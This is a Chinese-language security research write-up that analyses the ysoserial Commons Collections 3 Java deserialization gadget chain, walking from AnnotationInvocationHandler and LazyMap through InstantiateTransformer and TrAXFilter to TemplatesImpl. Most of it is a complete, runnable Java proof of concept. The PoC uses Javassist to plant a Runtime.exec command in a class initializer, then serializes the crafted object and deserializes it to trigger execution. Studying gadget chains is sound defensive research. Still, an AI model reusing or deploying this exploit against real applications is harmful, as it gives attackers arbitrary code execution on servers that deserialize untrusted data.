ysoserial Commons Collections3反序列化研究

0x00 前言

在ysoserial中，官方是没给gadget，这儿经过文章分析我认为的gadget，继承自AbstractTranslate的类被Javassist插桩后返回一个被修改过的templates(_bytecodes)并将其传给InstantiateTransformer后，InstantiateTransformer利用这个templates获得的构造函数加上从ConstantTransformer返回的TrAXFilter类将其实例化，实例化的过程中将会调用TrAXFilter的构造函数，从而调用TemplatesImpl.newTransformer()

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            new TrAXFilter()
                                TemplatesImpl.newInstance()
                                    ... template gadget

其实也可以看到，大部分的gadget都是和CC1是一样，主要是transformers数组的部分改了下

        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

来关注下新出现的两个类InstantiateTransformer和TrAXFilter

在InstantiateTransformer的transform方法中可以看到，获取public构造方法，newInstance实例化该对象

    public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }

然后是TrAXFilter的构造函数，对传入的templates调用newTransformer

    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

这样的话就可以和之前的template gadget串起来了，在调用newTransformer时从字节码中加载类，然后运行构造方法，从而执行危险函数。

poc

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc3 {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        // 创建 static 代码块，并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
        // 写入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
            outputStream.writeObject(handler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}